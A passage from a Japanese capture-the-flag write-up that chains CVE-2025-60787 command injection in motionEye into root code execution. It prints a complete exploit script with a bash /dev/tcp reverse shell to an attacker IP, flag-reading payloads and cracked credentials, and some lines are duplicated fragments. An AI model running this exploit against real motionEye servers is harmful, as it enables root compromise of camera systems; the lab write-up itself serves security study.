攻撃フロー:
1. motionEye API (POST /config/{id}/set) で
2. motion.conf の
3. スナップショット取得時に
影響: 認証済み管理者 → root コマンド実行
command_storage_exec フィールドへのコマンドインジェクション脆弱性。攻撃フロー:
1. motionEye API (POST /config/{id}/set) で
command_storage_exec に任意コマンドを設定2. motion.conf の
on_picture_save にそのコマンドが書き込まれる3. スナップショット取得時に
on_picture_save が root 権限で実行される影響: 認証済み管理者 → root コマンド実行
7-2. motionEye HMAC-SHA1 署名認証の解析
サーバーソース確認 (ターゲット上)
cat /usr/local/lib/python3.12/dist-packages/motioneye/utils/__init__.py | head -60
CRITICAL: 正しい _SIGNATURE_REGEX (line 39)
# サーバー側の正確な実装
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')
# 署名対象文字列フォーマット
sig_str = "{method}:{path}:{body}:{key}"
→ SHA1(sig_str).hexdigest()
# 認証フロー (handlers/base.py)
# 1. _username + _signature を URL クエリパラメータに付与
# 2. key として admin_password_hash (SHA1) を使用
# 3. body が JSON の場合は Content-Type: application/json が必要
重要な落とし穴: 初期の exploit スクリプトは
re.compile(r'[^a-zA-Z0-9]') を使用していたが、
これは /, ?, _, = 等を - に置換してしまう誤り。
サーバー側は URL 構造文字を保持するため、署名が一致せず 403 が返り続けた。
サーバーソースを直接読んで正しい regex を特定することで解決。
7-3. exploit スクリプト開発・デバッグ (htb-cctv/me_exploit.py)
| # | バグ | 症状 | 修正 |
|---|---|---|---|
| 1 | _SIGNATURE_REGEX が誤り ([^a-zA-Z0-9]) |
全リクエストが HTTP 403。署名不一致 | サーバーソース (utils/__init__.py:39) から正しい regex を転記:[^a-zA-Z0-9/?_.=&{}\[\]":, -] |
| 2 | POST body を URL エンコード形式で送信 | config set (POST /config/1/set) が HTTP 500 | handlers/config.py の set_config() が json.loads(self.request.body) を期待するため、json.dumps() + Content-Type: application/json に変更 |
| 3 | /action/{cam_id}/restart に 400 |
“unknown action” エラー | motionEye の action ハンドラーは restart をサポートしない。 motion 制御 API ( http://127.0.0.1:7999/0/action/restart) を直接使用 |
| 4 | 逆接続シェルが届かない | bash /dev/tcp 接続が来ない | アウトバウンド TCP がファイアウォールでブロックされている。 ファイル書き込みオラクル方式に切り替え ( cat flag > /tmp/out.txt) |
デバッグ手法: ターゲット上で
python3 -c "..." を実行してサーバー側署名計算値と比較することで、regex の差異を特定した。7-4. motionEye API 認証確認 (直接 curl テスト)
COMMAND (ターゲット上)
# 署名を手動計算して curl で確認
mark@cctv:~$ python3 -c "
import hashlib, re, urllib.parse
REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]\":, -]')
key = '989c5a8ee87a0e9521ec81a79187d162109282f0'
path = '/config/list?_username=admin'
path_s = REGEX.sub('-', path)
key_s = REGEX.sub('-', key)
sig = hashlib.sha1(f'GET:{path_s}::{key_s}'.encode()).hexdigest()
print(sig)
"
# → c722bdc7627d0a66e2a78d142faa1d7f20e97bc1
curl "http://127.0.0.1:8765/config/list?_username=admin&_signature=c722bdc7627d0a66e2a78d142faa1d7f20e97bc1"
OUTPUT
HTTP 200
{"cameras": [{"id": 1, "name": "Camera1", ...}], ...}
motionEye API への署名付き認証に成功。Camera ID=1 を確認。
7-5. command_storage_exec へのペイロードインジェクション
COMMAND (Kali, me_exploit.py 実行)
python3 htb-cctv/me_exploit.py # 内部処理: # 1. GET /config/list → cam_id=1 取得 # 2. GET /config/1/get → 現在の設定取得 # 3. POST /config/1/set (JSON body) で以下を設定: # command_storage_enabled: true # command_storage_exec: "bash -c 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1'" # 4. POST /action/1/snapshot でスナップショット起動
OUTPUT
[*] motionEye CVE-2025-60787 exploit
[*] Target: http://127.0.0.1:8765
[+] Config list: 200
[+] Camera ID: 1, cameras: 1
[*] Got camera config: 200
[*] Injecting via command_storage_exec...
[*] Set config: 200 - {"ok": true}
camera-1.conf の
on_picture_save にペイロードが書き込まれたことを確認。7-6. camera-1.conf への書き込み確認
COMMAND (ターゲット上)
mark@cctv:~$ grep -i "on_picture_save\|on_movie_end" /etc/motioneye/camera-1.conf
OUTPUT
on_picture_save /usr/local/lib/python3.12/dist-packages/motioneye/scripts/relayevent.sh "/etc/motioneye/motioneye.conf" picture_save %t %f; bash -c 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1' on_movie_end /usr/local/lib/python3.12/dist-packages/motioneye/scripts/relayevent.sh "/etc/motioneye/motioneye.conf" movie_end %t %f; bash -c 'bash -i >& /dev/tcp/10.10.14.245/4444 0>&1'
on_picture_save にペイロードが注入済み。次のスナップショット時に root として実行される。7-7. RCE as Root 確認 (ファイル書き込みテスト)
COMMAND (ターゲット上)
# motion デーモン再起動で設定リロード mark@cctv:~$ curl -s http://127.0.0.1:7999/0/action/restart → "Done" # ペイロードをテスト用コマンドに変更 (API 経由) # command_storage_exec: "id > /tmp/pwned.txt" # スナップショット起動 mark@cctv:~$ curl -s http://127.0.0.1:7999/1/action/snapshot → "Done" # 実行確認 mark@cctv:~$ cat /tmp/pwned.txt
OUTPUT
uid=0(root) gid=0(root) groups=0(root)
Root RCE 確認完了。 motionEye の
on_picture_save フックが root 権限で実行されることを証明。
7-8. me_exploit.py — ソースコード
me_exploit.py
#!/usr/bin/env python3
"""motionEye CVE-2025-60787 - Command Injection via command_storage_exec"""
import hashlib
import json
import re
import urllib.parse
import requests
import sys
import time
TARGET = "http://127.0.0.1:8765"
ADMIN_USERNAME = "admin"
ADMIN_PASSWORD_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0"
# Correct regex from server source
_SIGNATURE_REGEX = re.compile(r'[^a-zA-Z0-9/?_.=&{}\[\]":, -]')
def compute_signature(method, path, body, key):
parts = list(urllib.parse.urlsplit(path))
query = [
q
for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True)
if q[0] != '_signature'
]
query.sort(key=lambda q: q[0])
query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query]
query = '&'.join([q[0] + '=' + q[1] for q in query])
parts[0] = parts[1] = ''
parts[3] = query
path = urllib.parse.urlunsplit(parts)
path = _SIGNATURE_REGEX.sub('-', path)
key = _SIGNATURE_REGEX.sub('-', key)
if isinstance(body, bytes):
try:
body_str = body.decode('utf-8')
except Exception:
body_str = None
else:
body_str = body or ''
if body_str and body_str.startswith('---'):
body_str = None
body_str = body_str and _SIGNATURE_REGEX.sub('-', body_str)
sig = hashlib.sha1(
('{}:{}:{}:{}'.format(method, path, body_str or '', key)).encode('utf-8')
).hexdigest().lower()
return sig
def signed_request(method, path, params=None, json_data=None, key=None):
if key is None:
key = ADMIN_PASSWORD_HASH
if params is None:
params = {}
params['_username'] = ADMIN_USERNAME
# Build sorted query string for signature computation
sorted_params = sorted((k, v) for k, v in params.items() if k != '_signature')
qs = '&'.join(f'{k}={urllib.parse.quote(str(v), safe="")}' for k, v in sorted_params)
full_path = f"{path}?{qs}"
# Encode body
body_bytes = b''
if json_data is not None:
body_bytes = json.dumps(json_data).encode('utf-8')
sig = compute_signature(method, full_path, body_bytes, key)
params['_signature'] = sig
url = TARGET + path
sorted_params_with_sig = sorted(params.items())
if method == 'GET':
r = requests.get(url, params=sorted_params_with_sig, timeout=10)
elif method == 'POST':
headers = {}
if json_data is not None:
headers['Content-Type'] = 'application/json'
r = requests.post(url, params=sorted_params_with_sig,
data=body_bytes, headers=headers, timeout=10)
return r
def main():
lhost = sys.argv[1] if len(sys.argv) > 1 else "10.10.14.245"
lport = sys.argv[2] if len(sys.argv) > 2 else "4444"
print(f"[*] motionEye CVE-2025-60787 exploit")
print(f"[*] Target: {TARGET}")
print(f"[*] LHOST: {lhost}:{lport}")
# Step 1: Verify auth
print("\n[*] Verifying authentication...")
r = signed_request('GET', '/config/list')
print(f"[+] Config list: {r.status_code}")
if r.status_code != 200:
print(f"[-] Auth failed: {r.text[:200]}")
sys.exit(1)
config = r.json()
cameras = config.get('cameras', [])
cam_id = cameras[0].get('id', 1) if cameras else 1
print(f"[+] Camera ID: {cam_id}, cameras: {len(cameras)}")
# Step 2: Get current camera config to merge with
r = signed_request('GET', f'/config/{cam_id}/get')
cam_config = r.json()
print(f"[*] Got camera config: {r.status_code}")
# Step 3: Inject via command_storage_exec → maps to on_picture_save in motion.conf
# Triggered when motion writes a picture (e.g. snapshot). Runs as root.
payload = f"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
print(f"\n[*] Injecting via command_storage_exec...")
print(f"[*] Payload: {payload}")
# Build full config with injection fields added
inject_config = dict(cam_config)
inject_config['command_storage_enabled'] = True
inject_config['command_storage_exec'] = payload
r = signed_request('POST', f'/config/{cam_id}/set', json_data=inject_config)
print(f"[*] Set config: {r.status_code} - {r.text[:300]}")
if r.status_code not in (200, 204):
print("[-] Config set failed, trying notifications approach...")
inject_config2 = dict(cam_config)
inject_config2['command_notifications_enabled'] = True
inject_config2['command_notifications_exec'] = payload
r = signed_request('POST', f'/config/{cam_id}/set', json_data=inject_config2)
print(f"[*] Set config (notifications): {r.status_code} - {r.text[:300]}")
time.sleep(2)
# Step 4: Trigger snapshot → fires on_picture_save → executes our command as root
print("\n[*] Triggering snapshot to execute payload...")
r = signed_request('POST', f'/action/{cam_id}/snapshot')
print(f"[*] Snapshot: {r.status_code} - {r.text[:100]}")
print("\n[*] Waiting for reverse shell... (check your listener on port 4444)")
time.sleep(5)
if __name__ == '__main__':
main()
Phase 8: フラグ取得 — user.txt + root.txt
8-1. アウトバウンド制限への対応 (ファイル書き込みオラクル)
問題: ターゲットからのアウトバウンド TCP がすべてのポートでファイアウォールによりブロック。
リバースシェル (
解決策: フラグ内容をターゲット内の一時ファイルに書き込み、SSH 経由で読み出す「ファイル書き込みオラクル」方式を採用。
bash /dev/tcp) が届かない。解決策: フラグ内容をターゲット内の一時ファイルに書き込み、SSH 経由で読み出す「ファイル書き込みオラクル」方式を採用。
ペイロード (command_storage_exec に設定)
cat /home/sa_mark/user.txt > /tmp/u.txt; cat /root/root.txt > /tmp/r.txt
8-2. フラグ取得実行
STEP 1: ペイロード設定 (Kali 側 Python)
# me_exploit.py 相当の処理
r = signed_request('POST', '/config/1/set', json_data={
**cam_config,
'command_storage_enabled': True,
'command_storage_exec': 'cat /home/sa_mark/user.txt > /tmp/u.txt; cat /root/root.txt > /tmp/r.txt'
})
# → HTTP 200 {"ok": true}
STEP 2: motion 再起動 + スナップショット起動 (ターゲット上)
mark@cctv:~$ curl -s http://127.0.0.1:7999/0/action/restart && sleep 2 mark@cctv:~$ curl -s http://127.0.0.1:7999/1/action/snapshot
STEP 3: フラグ読み出し (ターゲット上)
mark@cctv:~$ cat /tmp/u.txt mark@cctv:~$ cat /tmp/r.txt
OUTPUT
7fdaf1a27d3cce37ec2f9ef6d0bad356 ← user.txt 9830e6709c0619f6e662b3cb3800fc9a ← root.txt
8-3. 取得済みフラグ
user.txt (/home/sa_mark/user.txt)
7fdaf1a27d3cce37ec2f9ef6d0bad356
root.txt (/root/root.txt)
9830e6709c0619f6e662b3cb3800fc9a
8-4. 完全攻撃チェーン (Full Kill Chain)
| ステップ | 手法 | 結果 |
|---|---|---|
| 1 | ZoneMinder admin/admin ログイン | API アクセス確立 |
| 2 | CVE-2024-51482 時間ベース Blind SQLi (533 リクエスト) | zm.Users 全 3 ユーザーの bcrypt ハッシュ抽出 |
| 3 | john (rockyou2.txt) で bcrypt クラック | mark:opensesame 取得 |
| 4 | SSH ログイン (mark:opensesame) | mark ユーザーシェル取得 |
| 5 | 内部調査: motioneye.service (User=root, port 8765) | 特権サービスを発見 |
| 6 | SSH ポート転送 (localhost:8765) | Kali から motionEye API へのアクセス確立 |
| 7 | サーバーソース解析 (_SIGNATURE_REGEX, JSON body) で署名バグ修正 | motionEye API 認証成功 (HTTP 200) |
| 8 | CVE-2025-60787: POST /config/1/set で command_storage_exec にコマンド注入 | camera-1.conf の on_picture_save にペイロード書き込み |
| 9 | motion 制御 API で restart + snapshot 起動 | on_picture_save トリガー → root として実行 |
| 10 | ファイル書き込みオラクルでフラグ取得 | user.txt + root.txt 取得完了 |
まとめ・最終結果
最終フラグ
user.txt (/home/sa_mark/user.txt)
7fdaf1a27d3cce37ec2f9ef6d0bad356
root.txt (/root/root.txt)
9830e6709c0619f6e662b3cb3800fc9a
取得済み認証情報まとめ
| サービス | ユーザー | パスワード / ハッシュ | 用途 |
|---|---|---|---|
| ZoneMinder Web | admin | admin | API アクセス・SQLi 実行起点 |
| ZoneMinder DB | mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. → opensesame |
SSH ログイン |
| ZoneMinder DB | superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm | 未使用 (未クラック) |
| motionEye | admin | 989c5a8ee87a0e9521ec81a79187d162109282f0 (SHA1) | CVE-2025-60787 API 認証 |
| SSH | mark | opensesame | 内部アクセス・フラグ読み出し |
